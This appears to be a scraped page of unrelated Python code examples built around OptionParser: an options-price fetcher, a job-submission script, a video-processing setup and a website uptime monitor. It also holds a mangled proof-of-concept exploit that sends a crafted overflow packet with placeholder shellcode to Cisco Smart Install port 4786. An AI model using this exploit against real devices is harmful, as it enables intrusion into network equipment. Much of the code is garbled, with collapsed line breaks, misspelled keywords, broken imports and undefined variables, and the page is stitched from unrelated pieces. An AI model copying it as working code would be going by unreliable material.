Esempio n. 1
0
def getOptionPrice(theMonth):
    chrome2.clickButtonByName('reloadButton')
    parser = OptionParser.OptionParser(chrome2.html())
    prices = parser.parse(theMonth)
    db = OptionDb()
    for price in prices:
        price.description()   
    db.updatePrices(prices)
    return
Esempio n. 2
0
def run(filepath):
    print filepath

if __name__ == '__name__':
    form optparse import OptionParser
    parser =  OptionParser()
    parser.add_optiom("--file",action = "stroe" dest = "file")
    (options,args) = parser.parse_args()

    if not options.file:
        print "Usage:python ./frist_python.py  --file ./filepath"
        exit(1)
    run(options.file)
#smi_ibc_init_discovery_BoF.py
importsocket
importstruct
fromoptparse import OptionParser
# Parsethe target options
parser =OptionParser()
parser.add_option("-t","--target", dest="target", help="Smart InstallClient", de
fault="192.168.1.1")parser.add_option("-p", "--port", dest="port",type="int", h
elp="Portof Client", default=4786) (options, args) = parser.parse_args()
defcraft_tlv(t, v, t_fmt='!I', l_fmt='!I'):
return struct.pack(t_fmt,t) + struct.pack(l_fmt, len(v)) + v
defsend_packet(sock, packet):
sock.send(packet)
defreceive(sock):
returnsock.recv()
if__name__ == "__main__":
print"[*] Connecting to Smart Install Client ", options.target,"port", optio
ns.port
con =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con.connect((options.target,options.port))
payload= 'BBBB' * 44 shellcode = 'D' * 2048
data ='A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payl
oad
tlv_1 =craft_tlv(0x00000001, data) tlv_2 = shellcode
pkt =hdr + tlv_1 + tlv_2
print"[*] Send a malicious packet" send_packet(con, pkt)
def main():

	parser=OptionParser()
	parser.add_option("-user", "--username", dest="username",
                  help="Username", type="string")
	parser.add_option("-pwd", "--password", dest="password",
                  help="Password", type="string")
	parser.add_option("-i", "--inputFile", dest="inputFile",
                  help="Input File with input fields and values", metavar="FILE")
	parser.add_option("-p", "--paramFile", dest="paramFile",
                  help="Parameters File with param fields and values", metavar="FILE")

	parser.add_option("-o", "--outputFile", dest="outputFile",
                  help="Output File with fields and values", metavar="FILE")

	parser.add_option("-a", "--app", dest="app",
                  help="Application Name to be run", type="string")

	parser.add_option("-r", "--runTag", dest="runTag",
                  help="Runtag for the application instance", type="string")

	parser.add_option("-d", "--dependency", dest="dependency",
                  help="Whether submitted job is required for next job to start", type="string")

	parser.add_option("-A", "--archive", dest="archive",
                  help="Whether to archive output true/false", type="string")

	(options, args)=parser.parse_args()

	api=FoundationApi.FoundationApi()
	# Put in your iPlant userid and password
	api.authenticate(options.username, options.password)

	job_status = ''

	# read input file and generate input dictionary
	for line in fileinput.input([options.inputFile]):
		fieldi,temp,vali = line.partition('=')
		inputs[fieldi] = vali

	# read param file and generate parameters dictionary
	for line in fileinput.input([options.paramFile]):
        	fieldp,temp,valp = line.partition('=')
        	parameters[fieldp] = valp

	# read output file and generate output dictionary
	for line in fileinput.input([options.outputFile]):
        	fieldo,temp,valo = line.partition('=')
        	outputs[fieldo] = valo


	job = FoundationJob.FoundationJob(api, options.app, options.runTag, 
				archive=options.archive, inputs=inputs, parameters=parameters, outputs=outputs)

	job.submit()

	job_status=job.api.run_job()

	fo = open(options.runTag + '.all', "a")
	fo.write( job.job_status['result']['id'] + "\n")

	if options.dependency == 'true':
		# need to store job id for polling only if there is dependency on this job
		fo = open(options.runTag + '.dependency', "w")
		fo.write( job.job_status['result']['id'] + "\n")
import pickle
import optparse import OptionParser
import time
import itertools
import operator
from keras_frcnn import config
from keras_frcnn.resnet as nn
from keras import backend as K
from keras.layers import Input
from keras.models import Model
from keras_frcnn import roi_helpers
import datetime
import re
import subprocess

parse = OptionParser()
parse.add_option("-i", "--input_file", dest="input_file", help="Path to input video file.")
parse.add_option("-o", "--output_file", dest="output_file", help="Path to output video file.", default="output.mp4")
parse.add_option("-d", "--input_dir", dest="input_dir", help="Path to input working directory.", default="/home/zpwu/input")
parse.add_option("-u", "--output_dir", dest="output_dir", help="Path to output working directory.", default="/home/zpwu/output")
parse.add_option("-r", "--frame_rate", dest="frame_rate", help="Frame rate of the output video.", default=25.0)

(options, args) = parser.parse_args()
if not options.input_file:
    parser.errors('Error: path to vedio input_file must be specified. Pass --input-file to command line')

input_video_file = options.input_file
output_video_file = options.output_file
img_path = os.path.join(options.input_dir, '')
output_path = os.path.join(options.output_dir, '')
num_rois = 32
Esempio n. 6
0
><td class="source">    opt_parser = OptionParser(version = &quot;%prog &quot; + __VERSION__, <br></td></tr
Esempio n. 7
0
        friendly_status = '%s is %s. Response time: %s' % (            url, status, elapsedTime) print(friendly_status) if url in prev_results and prev_results[url]['status'] != status:            logging.warning(status) # Email status messages            alerter(str(get_headers(url)), friendly_status)
 # Create dictionary for url if one doesn't exist (first time url was # checked) if url not in prev_results:            prev_results[url] = {}
 # Save results for later pickling and utility use        prev_results[url]['status'] = status        prev_results[url]['headers'] = None if urlfile is None else urlfile.info().headers        prev_results[url]['rtime'] = elapsedTime
 return is_status_changed

def is_internet_reachable(): '''Checks Google then Yahoo just in case one is down'''    statusGoogle, urlfileGoogle = get_site_status('http://www.google.com')    statusYahoo, urlfileYahoo = get_site_status('http://www.yahoo.com') if statusGoogle == 'down' and statusYahoo == 'down': return False return True

def load_old_results(file_path): '''Attempts to load most recent results'''    pickledata = {} if os.path.isfile(file_path):        picklefile = open(file_path, 'rb')        pickledata = pickle.load(picklefile)        picklefile.close() return pickledata

def store_results(file_path, data): '''Pickles results to compare on next run'''    output = open(file_path, 'wb')    pickle.dump(data, output)    output.close()

def normalize_url(url): '''If a url doesn't have a http/https prefix, add http://''' if not re.match('^http[s]?://', url):        url = 'http://' + url return url

def get_urls_from_file(filename): try:        f = open(filename, 'r')        filecontents = f.readlines()        results = [] for line in filecontents:            foo = line.strip('\n')            results.append(foo) return results except:        logging.error('Unable to read %s' % filename) return []

def get_command_line_options(): '''Sets up optparse and command line options'''    usage = "Usage: %prog [options] url"    parser = OptionParser(usage=usage)    parser.add_option("-t", "--log-response-time", action="store_true", dest="log_response_time", help="Turn on logging for response times")
    parser.add_option("-r", "--alert-on-slow-response", action="store_true", help="Turn on alerts for response times")
    parser.add_option("--timeout", dest="timeout", type="float", help="Set the timeout amount (in seconds).")
    parser.add_option("-g", "--use-gmail", action="store_true", dest="use_gmail", help="Send email with Gmail.  Must also specify username and password")
    parser.add_option("--smtp-hostname", dest="smtp_hostname", help="Set the stmp server host.")
    parser.add_option("--smtp-port", dest="smtp_port", type="int", help="Set the smtp server port.")
    parser.add_option("-u", "--smtp-username", dest="smtp_username", help="Set the smtp username.")
    parser.add_option("-p", "--smtp-password", dest="smtp_password", help="Set the smtp password.")
    parser.add_option("-s", "--from-addr", dest="from_addr", help="Set the from email.")
    parser.add_option("-d", "--to-addrs", dest="to_addrs", action="append", help="List of email addresses to send alerts to.")
    parser.add_option("-f", "--from-file", dest="from_file", help="Import urls from a text file. Separated by newline.")
 return parser.parse_args()

def main():
 # Get argument flags and command options    (options, args) = get_command_line_options()
 # Print out usage if no arguments are present if len(args) == 0 and options.from_file is None: print('Usage:') print("\tPlease specify a url like: www.google.com") print("\tNote: The http:// is not necessary") print('More Help:') print("\tFor more help use the --help flag")